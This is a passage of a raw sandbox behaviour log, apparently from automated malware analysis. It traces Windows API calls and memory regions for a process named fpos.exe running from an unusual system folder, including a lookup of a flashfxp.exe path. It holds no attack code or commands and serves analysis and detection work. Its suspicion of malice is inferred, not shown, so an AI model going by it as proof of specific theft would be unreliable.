lpdwindex=0x2ee6e4) returned 0x0 [0279.959] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x523d60*=0xd8, lpdwindex=0x2ee6e4) Thread: id = 426 os_tid = 0x674 Thread: id = 432 os_tid = 0x778 [0262.927] CoGetContextToken (in: pToken=0x1aacf500 | out: pToken=0x1aacf500) returned 0x800401f0 [0262.930] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 438 os_tid = 0x2e4 Thread: id = 498 os_tid = 0x8dc [0278.315] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.316] CoGetContextToken (in: pToken=0x1b18f710 | out: pToken=0x1b18f710) returned 0x0 [0278.316] CObjectContext::QueryInterface () returned 0x0 [0278.316] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.317] Release () returned 0x0 [0278.317] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.317] CoUninitialize () [0288.862] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b18db38 | out: phkResult=0x1b18db38*=0x0) returned 0x2 [0288.863] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.870] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User\\flashfxp.exe", nBufferLength=0x105, lpBuffer=0x1b18e670, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User\\flashfxp.exe", lpFilePart=0x0) returned 0x22 Thread: id = 499 os_tid = 0x8e0 Thread: id = 505 os_tid = 0x8f8 Thread: id = 519 os_tid = 0x930 Thread: id = 520 os_tid = 0x934 Thread: id = 558 os_tid = 0x9dc [0281.382] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0281.383] CoGetContextToken (in: pToken=0x1b78f6d0 | out: pToken=0x1b78f6d0) returned 0x0 [0281.383] CObjectContext::QueryInterface () returned 0x0 [0281.383] CObjectContext::GetCurrentThreadType () returned 0x0 [0281.383] Release () returned 0x0 [0281.383] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0281.383] CoUninitialize () Process: id = "85" image_name = "fpos.exe" filename = "c:\\windows\\syswow64\\winrm\\0409\\fpos.exe" page_root = "0x219b0000" os_pid = "0x58c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7383 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7384 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7385 start_va = 0x1f0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 7386 start_va = 0x900000 end_va = 0x9d5fff monitored = 1 entry_point = 0x9cd67e region_type = mapped_file name = "fpos.exe" filename = "\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe" (normalized: "c:\\windows\\syswow64\\winrm\\0409\\fpos.exe") Region: id = 7387 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7388 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7389 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7390 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7391 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7392 start_va = 0x7fffffda000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 7393 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7394 start_va = 0x2f0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 7395 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7396 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7397 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7434 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7435 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7436 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7641 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7642 start_va = 0xb0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7643 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 7644 start_va = 0x4e0000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 7645 start_va = 0x560000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 7715 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7716 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7717 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7718 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7719 start_va = 0x3f0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 7720 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 7721 start_va = 0x750000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 7788 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7789 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7949 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7950 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7951 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7952 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7953 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7954 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7955 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 7956 start_va = 0x9e0000 end_va = 0xb67fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 7957 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7958 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7959 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7960 start_va = 0xb70000 end_va = 0xcf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 7961 start_va = 0xd00000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d00000" filename = "" Region: id = 7962 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7963 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7964 start_va = 0x120000 end_va = 0x1effff monitored = 1 entry_point = 0x1ed67e region_type = mapped_file name = "fpos.exe" filename = "\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe" (normalized: "c:\\windows\\syswow64\\winrm\\0409\\fpos.exe") Region: id = 8204 start_va = 0x120000 end_va = 0x1effff monitored = 1 entry_point = 0x1ed67e region_type = mapped_file name = "fpos.exe" filename = "\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe" (normalized: "c:\\windows\\syswow64\\winrm\\0409\\fpos.exe") Region: id = 8205 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8245 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8264 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8475 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8476 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8477 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8496 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8497 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8498 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 8499 start_va = 0x7fe94a00000 end_va = 0x7fe94a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8500 start_va = 0x7fe94a10000 end_va = 0x7fe94a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a10000" filename = "" Region: id = 8501 start_va = 0x7fe94a20000 end_va = 0x7fe94aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a20000" filename = "" Region: id = 8502 start_va = 0x7fe94ab0000 end_va = 0x7fe94b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94ab0000" filename = "" Region: id = 8503 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 8504 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8505 start_va = 0x2100000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 8506 start_va = 0x2350000 end_va = 0x258ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 8551 start_va = 0x2100000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 8552 start_va = 0x22d0000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 8553 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8554 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8555 start_va = 0x2590000 end_va = 0x1a58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 8556 start_va = 0x1a590000 end_va = 0x1a90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a590000" filename = "" Region: id = 8557 start_va = 0x7d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 8595 start_va = 0x23b0000 end_va = 0x24affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 8596 start_va = 0x2510000 end_va = 0x258ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 8597 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8625 start_va = 0x1a930000 end_va = 0x1aa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a930000" filename = "" Region: id = 8626 start_va = 0x1aa30000 end_va = 0x1ab2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa30000" filename = "" Region: id = 8627 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 8653 start_va = 0x1ab30000 end_va = 0x1adfefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8669 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8700 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8701 start_va = 0x120000 end_va = 0x19cfff monitored = 0 entry_point = 0x12cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8736 start_va = 0x120000 end_va = 0x19cfff monitored = 0 entry_point = 0x12cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8737 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8738 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8739 start_va = 0x1ae00000 end_va = 0x1af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae00000" filename = "" Region: id = 8740 start_va = 0x660000 end_va = 0x73efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 8805 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8806 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8823 start_va = 0x7fe94b20000 end_va = 0x7fe94b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b20000" filename = "" Region: id = 8852 start_va = 0x7fe94ba0000 end_va = 0x7fe94baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94ba0000" filename = "" Region: id = 8853 start_va = 0x7fe94bb0000 end_va = 0x7fe94bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94bb0000" filename = "" Region: id = 8870 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8904 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8905 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8917 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8959 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8960 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8961 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8962 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8963 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9008 start_va = 0x1af40000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af40000" filename = "" Region: id = 9022 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9051 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9052 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9053 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 9090 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9091 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9111 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9126 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9151 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9164 start_va = 0x130000 end_va = 0x191fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9196 start_va = 0x2200000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 9197 start_va = 0x1b1d0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1d0000" filename = "" Region: id = 9198 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9199 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 9304 start_va = 0x1af60000 end_va = 0x1b05ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af60000" filename = "" Region: id = 9305 start_va = 0x1b120000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 9306 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9307 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9308 start_va = 0x1a0000 end_va = 0x1e4fff monitored = 0 entry_point = 0x1a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9383 start_va = 0x1a0000 end_va = 0x1e4fff monitored = 0 entry_point = 0x1a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9384 start_va = 0x1a0000 end_va = 0x1e4fff monitored = 0 entry_point = 0x1a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9385 start_va = 0x1a0000 end_va = 0x1e4fff monitored = 0 entry_point = 0x1a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9386 start_va = 0x1a0000 end_va = 0x1e4fff monitored = 0 entry_point = 0x1a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9387 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9388 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9416 start_va = 0x1b430000 end_va = 0x1b52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b430000" filename = "" Region: id = 9417 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9437 start_va = 0x1b640000 end_va = 0x1b73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b640000" filename = "" Region: id = 9438 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9439 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9484 start_va = 0x1b750000 end_va = 0x1b84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b750000" filename = "" Region: id = 9485 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9515 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = 